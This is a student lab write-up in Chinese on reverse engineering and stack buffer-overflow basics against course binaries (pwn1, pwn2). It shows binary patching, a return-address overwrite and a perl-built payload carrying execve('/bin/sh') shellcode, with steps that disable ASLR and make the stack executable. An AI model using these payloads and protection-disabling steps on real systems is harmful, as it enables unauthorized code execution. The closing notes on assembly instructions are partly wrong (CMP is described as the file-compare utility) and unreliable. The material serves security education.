当前位置: 首页 > news >正文

2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践

逆向及Bof基础实践

实践基础知识

管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息。

cut:选取指定列。
  • 按指定字符分隔:只显示第n
    列的数据

    cut -d '分隔符' -f n

  • 选择特定范围内的数据

    cut -c 起始字符的下标-结束字符的下标

grep:关键词搜索指定行。
  • grep [-参数] ‘关键词’ 文件

从指定文件中将符合关键词的行搜索出来(没用到管道)

  • 命令 | grep [-参数] ‘关键词’

前一个命令的执行结果输出给grep,并通过grep的关键词搜索将符合条件的行搜索出来。

sort:排序
  • sort [-参数] 文件

将文件中的数据按照指定字段排序

  • 命令 | sort [-参数]

使用管道,将前一个命令执行的结果按照指定字段进行排序。

wc:统计字数、行数、字符数
  • 命令 | wc [-参数]

输入输出重定向:

command > file //将输出重定向到 file。

command < file //将输入重定向到 file。

command >> file //将输出以追加的方式重定向到 file。

n > file //将文件描述符为 n 的文件重定向到 file。

n >> file //将文件描述符为 n 的文件以追加的方式重定向到 file。

EIP: 用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加。


实践内容

直接修改程序机器指令,改变程序执行流程

  • 先对pwn1进行复制备份——cp pwn1 pwn5229

  • 执行命令objdump -d pwn5229 | more对pwn5229文件进行反汇编。

  • 从上图得知,main函数中地址为80484b5的call 8048491指令调用处于地址8048491处的foo函数,该汇编指令的机器指令为e8 d7 ff ff ff,e8为“跳转”

  • foo函数和getshell的地址偏移量=8048491-804847d=14。

  • 想让main函数调用getshell,须将d7 ff ff ff改为c3 ff ff ff(d7-14=c3)

  • 用vi打开文件,输入%!xxd将文件改为十六进制文件。
  • 输入/e8d7找到要修改的内容 ,对其进行修改,再用%!xxd -r将文件转换为原来的二进制,保存退出。
    832288-20180317200516955-1321638606.jpg

  • 对文件反汇编,查看call指令是否掉用的是getshell

  • 运行文件,得到shell提示符。

832288-20180317200501910-891077206.jpg


通过构造输入参数,造成BOF攻击,改变程序执行流

  • pwn2这个文件正常运行下调用foo函数,这个函数有Buffer overflow漏洞。在于,输入的字符超出系统所先预留的缓冲区后,超出的部分会溢出。
  • 使用gdb对文件进行调试
  • 输入1111111122222222333333334444444455555555后,会发现eip中的值为5,将字符串修改为1111111122222222333333334444444412345678后,1234这4个字节溢出到返回地址

  • 将这4个字节替换为 getShell 的内存地址,输给pwn2文件,该文件就能运行getshell
  • getshell的内存地址之前已得出
    832288-20180317204934775-1057083348.jpg

  • 确定将12345678改为\x7d\x84\x04\x08
  • 输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 用16进制查看指令xxd查看input文件内容
    832288-20180317204959733-1616769700.jpg

  • 使用管道符|,作为pwn2的输入。
  • (cat input; cat) | ./pwn2
    832288-20180317205017184-661730555.jpg

  • 反观老师给出的两个空

这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

上面的call调用foo,同时在堆栈上压上返回地址值:__________

通过计算,第一个空为28,第二个空为80484ba


注入Shellcode并执行

shellcode: 实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。一般是作为数据发送给受攻击服务器的,是溢出程序和蠕虫病毒的核心。

  • 修改一下设置
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

832288-20180317222951728-1903700740.jpg

  • Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode

nop+shellcode+retaddr

但我们选择retaddr+nop+shellcode结构进行攻击buf,nop一是为了填充,二是作为“着陆区”。

perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

(\x4\x3\x2\x1是将覆盖到堆栈上的返回地址的位置)

打开终端注入这段攻击:
832288-20180318140116658-207852203.jpg

  • 打开另一个终端,用gdb进行调试

首先是找到pwn1的进程号:

832288-20180318140425840-82270942.jpg

然后调试这个进程
832288-20180318140501373-1188847166.jpg

通过设置断点,来查看注入buf的内存地址

832288-20180318140550419-1570195298.jpg

832288-20180318140622870-71621002.jpg

使用x/16x 0xffffd3bc,看到了0x01020304,根据之前选择的retaddr+nop+shellcode,地址为0xffffd3c0

将之前的\x4\x3\x2\x1更改,注入,查看,执行程序pwn1,攻击成功。

832288-20180318141842402-848359258.jpg
832288-20180318141843950-1260304164.jpg


实验中遇到的问题及解决

1.在安装execsack时和运行pwn1时,无法安装。

  • 按照老师给的64位Kali无法顺利执行pwn1问题的解决方案链接进行安装,在使用apt-get updata时一直出现以下问题
    832288-20180318135011762-1590228642.png

  • 然后直接输入apt-get upgrade进行安装,执行apt-get install lib32ncurses5时,出现以下问题,重启虚拟机后,无法apt-get clean,被锁住了

832288-20180318135222272-1638980130.png

  • /var/cache/apt/archives/lock删除后,成功运行,并且能够装execstack

实验总结及感想

  • 上学期娄老师的作业中有一项也是在实验楼上做缓冲溢出攻击,但当时我选择在虚拟机上做,结果把ubuntu做崩了,为了修复虚拟机,我并没有认真的将整个实验弄懂。通过做这次实践,返回去将自己的博客看了一遍,发现两个实验原理大致都相同,同时也收获了很多

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,所以攻击者能够在未授权的情况下通过漏洞进行访问或破坏系统。如果系统存在漏洞,攻击者就会通过网络植入木马、病毒等攻击整台电脑,窃取信息等;如果网站存在漏洞,网站可能被攻击者恶意操作、篡改,还可能将用户信息泄漏等。

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。NOP指令会占用执行一个指令的CPU时间片。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

  • JE:条件转移指令,如果相等则跳转。(机器码:74)

  • JNP:无条件的转移到指令指定的地址去执行从该地址开始的命令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

  • CMP:比较指令,cmp 命令比较 File1 和 File2 参数指定的文件,并将结果写到标准输出。

转载于:https://www.cnblogs.com/fyhtvxq/p/8595358.html

相关文章:

  • Spring系列之AOP基本主要类概述
  • 二分查找(oc/java/Python/scala)
  • RESTful接口设计原则和优点
  • Django 博客开发教程 16 - 统计文章阅读量
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • maven编译的时候排除junit测试类
  • TortioseSVN切换账号教程
  • PHP变量
  • Jenkins进阶系列之——04Publish Over FTP Plugin插件
  • HashMap的长度为什么要是2的n次方
  • mysql主从复制配置过程及演示
  • [坑]解决Spring利用注解@Value获取properties属性为null或@Autowired 注解为null
  • 如何让git小乌龟工具TortoiseGit记住你的账号密码
  • POJ3013 Big Christmas Tree
  • 飘逸的python - 实现一个极简的优先队列
  • [译]CSS 居中(Center)方法大合集
  • __proto__ 和 prototype的关系
  • 【面试系列】之二:关于js原型
  • 2017届校招提前批面试回顾
  • AHK 中 = 和 == 等比较运算符的用法
  • CAP 一致性协议及应用解析
  • css布局,左右固定中间自适应实现
  • Date型的使用
  • JS数组方法汇总
  • js数组之filter
  • Material Design
  • Meteor的表单提交:Form
  • mysql innodb 索引使用指南
  • Octave 入门
  • python_bomb----数据类型总结
  • Python学习之路13-记分
  • QQ浏览器x5内核的兼容性问题
  • text-decoration与color属性
  • Vue2.0 实现互斥
  • Vue组件定义
  • webpack+react项目初体验——记录我的webpack环境配置
  • 番外篇1:在Windows环境下安装JDK
  • 容器服务kubernetes弹性伸缩高级用法
  • 实习面试笔记
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • ​云纳万物 · 数皆有言|2021 七牛云战略发布会启幕,邀您赴约
  • #100天计划# 2013年9月29日
  • #LLM入门|Prompt#3.3_存储_Memory
  • (16)Reactor的测试——响应式Spring的道法术器
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (二)【Jmeter】专栏实战项目靶场drupal部署
  • (二)基于wpr_simulation 的Ros机器人运动控制,gazebo仿真
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (附源码)ssm高校实验室 毕业设计 800008
  • (三)Honghu Cloud云架构一定时调度平台
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (四)库存超卖案例实战——优化redis分布式锁